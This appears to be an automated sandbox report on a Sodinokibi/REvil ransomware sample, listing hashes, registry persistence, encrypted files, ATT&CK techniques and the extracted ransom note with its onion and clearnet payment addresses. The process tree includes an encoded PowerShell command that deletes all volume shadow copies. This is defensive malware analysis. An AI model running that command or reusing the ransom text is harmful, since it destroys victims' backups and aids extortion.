sodinokibi | b46db6bba1f77f8e3378b6f07a789d19500ae7dece3c09c10549a88b04f47867

General

Target

1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
Size

165KB
MD5

1e13416a37f6abaa3abafc701760fe81
SHA1

9b767c6c7aaace08c934f922ff3d9aae056fdb0a
SHA256

b46db6bba1f77f8e3378b6f07a789d19500ae7dece3c09c10549a88b04f47867
SHA512

ba75d54d07a2b57381d72e626a11f16ec17c6db5bf02ca004b10c8876703478f614596c37e083deaa98a7472efc0441ba2acebc8d57a430d9e0cc3c7c88d833f
SSDEEP

3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/Na5dz7ZVMoJk71fC8:lw02sJPi7O93NqlVMoM

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Recovery\ox8ft13-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension ox8ft13. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C8AC981280F35F1C 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/C8AC981280F35F1C Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 9U90arEhdfMwtdUqlXZ1Ok3Fxoi5O1WnOrDDSE78GG8mX1s/xA0CyjDvR4dWOrC6 pqo4CRGJi1c3iCUADDeB39fgZctKsiBP8Wem/PiicP+qTpAdUs+qZywuhaYNYEsk VQAdLDF2Ylgusdxgg4INia/p4ofJMpD+NZ/3D+26R0Nakv7ke1WTVphEC5BaG8yM ZRF0/+KtCmMgrhwxna6LqKBE5mUTrcVfppXjZTwjvWdBIj8D3T4omrgTxsdRoPir zPJakVmwRmaoO5URfWXwLqQBH3gMxgHB01+o48/Za4qPXt1FBN3lvPbXNaoRtif3 kKcabE2uZvxnO+LuSp8B3fnlWbfL4aEn627L6+f6n1sINUUFDbcFoMU5zTRDdbuS N5LfWanjkNTG0NALP9bgwG6Gw5JxK1KbMTgBbp341/b6ng+xLEM/AglMp3Rfr6QC thwH1+UHL0Z/RW9vQdWDVWf/uploUBQ23uS5EsY71EMxWRjs63H7wiZi0AUnxFUx ofj6aDm98IlmKEEJLtXeeeJutStaJTgvRTZT7JXvtEiK47G+zUWU/OOWGI1mZ/n4 qRudCp007n/9inxMKjRuGsbZUV0GCEeu6p28sNbxP4vtxiyEnPX53HwXFySai9Jb fMcS+4AF0El41AZC006erHWsGLDtaAHbX6S2QGfNW8lYdrZSc12OmV/cT5RlY2EP XOxr9B7stlXKA/flQFncOw/zKkPEoEKDn9JgCz6XFK6YH/koe5m+C/vEaTNGTJwl oEeiytns4Eqoc/d7S82kscVIyx9m+muLqE6gsU+mt7E3NlSHWIxCIiqzDFQWX3+f V9hN3/h9syYlq2KO29vr0S/Jez1yIlvvRYNXUsPtxhJp0HBKjH/zSpgGGp6RWKep RJKlTvONS4va4mqvzV2ia7TpQ5rT657bXnbdeeVWCet0Bj9Y18b1lpz5Sl2VkZs/ db42hpGD9Ml2VxHDSak3IFW4pxmLLQZ52muZGnIYWKf/KT5rFRR3XiRPpnqzx7Mq MUc1CodtczdqVQgle8ocP83L4e7OEEo3kaJeKOCQdUpAIw+2TNnm5WaHe0GU/zSE DAZlTvm2WexvhEyJzaF1XbDTgQnzkGuz24s8UYHV02rl9coplEmTgVUmkpmICBs7 kVJ5665rvf9fO5IR+s5EBr8i+FJ+c23Uy6AtU4gnQGfRGwb1JoSzsEZSsRgQqooD 8zPJ+IhNnCiMpA/Ip7t5Rrdkigs= Extension name: ox8ft13 -------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C8AC981280F35F1C

http://decryptor.top/C8AC981280F35F1C

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\L2mKLMcNmB = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe"	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\H:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\I:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\K:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\Q:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\Y:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\D:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\B:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\L:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\R:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\T:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\F:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\J:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\V:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\W:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\A:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\Z:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\N:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\P:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\S:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\U:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\G:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\M:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\O:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened (read-only)	\??\X:	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lkeucohr63o.bmp"	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe

Drops file in Program Files directory 27 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\GrantBackup.png	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GrantFormat.xls	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LimitReset.ini	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MountConvertTo.avi	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SuspendAdd.dxf	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\JoinUse.gif	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SetJoin.vsd	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DenyRestart.TTS	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ExitPop.mhtml	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnblockSwitch.vdx	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UseRename.asx	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DismountSend.vbs	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\FindDisconnect.contact	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GrantCheckpoint.mht	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\OpenStop.reg	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UpdateReceive.gif	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File created	\??\c:\program files\ox8ft13-readme.txt	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\StopUnpublish.xlsm	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BackupUse.dwfx	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ShowWait.3gpp	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SkipPop.i64	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\TestCheckpoint.tmp	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File created	\??\c:\program files (x86)\ox8ft13-readme.txt	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LockClear.jtx	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\NewCompress.scf	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResizePublish.emz	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SwitchInvoke.ex_	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
740	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
740	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
2652	powershell.exe
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeBackupPrivilege	1204	vssvc.exe
Token: SeRestorePrivilege	1204	vssvc.exe
Token: SeAuditPrivilege	1204	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 740 wrote to memory of 2652	740	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe	90
PID 740 wrote to memory of 2652	740	1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe	90

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1e13416a37f6abaa3abafc701760fe81_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3764

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\ox8ft13-readme.txt

Filesize
6KB

MD5
2ec497d17a5d3af3601ee2bd3f09aa41

SHA1
b0346368bff76a07c3b698f7accbd1a8d2e49c4e

SHA256
76c3093245f941992c99776a2fe5380351e26eb0998d7518e875702c622b3573

SHA512
7f6b41118a670e0c1de1ac78737ea2d965dc6eae5ae039b28b951d55311f60b648ee7ef4e621e0687a75be646555624d23bac0e56953af787aacc3f76bc023c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3c0eh3wo.1y5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2652-0-0x00007FFDDA333000-0x00007FFDDA335000-memory.dmp

Filesize
8KB

Download
memory/2652-1-0x00000291DD2B0000-0x00000291DD2D2000-memory.dmp

Filesize
136KB

Download
memory/2652-11-0x00007FFDDA330000-0x00007FFDDADF1000-memory.dmp

Filesize
10.8MB

Download
memory/2652-12-0x00007FFDDA330000-0x00007FFDDADF1000-memory.dmp

Filesize
10.8MB

Download
memory/2652-15-0x00007FFDDA330000-0x00007FFDDADF1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads